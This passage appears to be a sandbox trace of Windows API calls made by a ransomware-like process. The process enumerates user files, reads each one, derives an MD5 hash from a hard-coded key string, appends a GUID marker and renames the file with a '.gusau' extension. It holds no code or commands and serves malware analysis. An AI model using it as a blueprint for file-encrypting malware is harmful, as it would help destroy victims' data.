hHeap=0xd10000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.304] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.304] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.304] PathFindFileNameW (pszPath="") returned="" [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0119.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0119.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.307] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=25340970) returned 1 [0119.307] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.309] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.309] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.311] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0119.313] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.313] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.313] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.313] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.314] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.314] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.314] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.314] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.314] GetLastError () returned 0x0 [0119.314] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.314] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.315] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.315] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.315] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.316] CloseHandle (hObject=0x610) returned 1 [0119.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.gusau")) returned 1 [0119.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.678] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.679] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0119.679] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0119.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.680] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=906752) returned 1 [0119.680] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.682] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.682] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.684] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.684] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0119.686] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.686] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.686] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.686] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.687] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.687] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.687] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.687] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.687] GetLastError () returned 0x0 [0119.687] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.687] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.688] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.688] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.688] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.688] CloseHandle (hObject=0x610) returned 1 [0119.701] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.gusau")) returned 1 [0119.702] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0119.702] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.702] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e428 [0119.702] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e360 [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\") returned="xbwc4aSxlyVVrqHkiS\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\") returned="sVLD8M-oJOW\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.703] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.703] PathFindFileNameW (pszPath="") returned="" [0119.703] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c5f830, ftCreationTime.dwHighDateTime=0x1d4cff0, ftLastAccessTime.dwLowDateTime=0x5f7a4570, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0x5f7a4570, ftLastWriteTime.dwHighDateTime=0x1d4d065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.704] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c5f830, ftCreationTime.dwHighDateTime=0x1d4cff0, ftLastAccessTime.dwLowDateTime=0x5f7a4570, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0x5f7a4570, ftLastWriteTime.dwHighDateTime=0x1d4d065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.704] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x166a9d70, ftCreationTime.dwHighDateTime=0x1d4c98b, ftLastAccessTime.dwLowDateTime=0xd94d0670, ftLastAccessTime.dwHighDateTime=0x1d4c8fa, ftLastWriteTime.dwLowDateTime=0xd94d0670, ftLastWriteTime.dwHighDateTime=0x1d4c8fa, nFileSizeHigh=0x0, nFileSizeLow=0x10883, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E31COVq.mkv", cAlternateFileName="")) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e360 [0119.704] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11e) returned 0x3920c68 [0119.704] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e360 | out: hHeap=0xd10000) returned 1 [0119.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\E31COVq.mkv") returned=".mkv" [0119.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\E31COVq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\e31covq.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.704] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=67715) returned 1 [0119.704] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.706] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1085d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.707] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.708] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.708] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.708] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.708] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x10883, lpOverlapped=0x0) returned 1 [0119.709] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.709] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.709] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.709] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.710] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.710] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.710] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.710] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 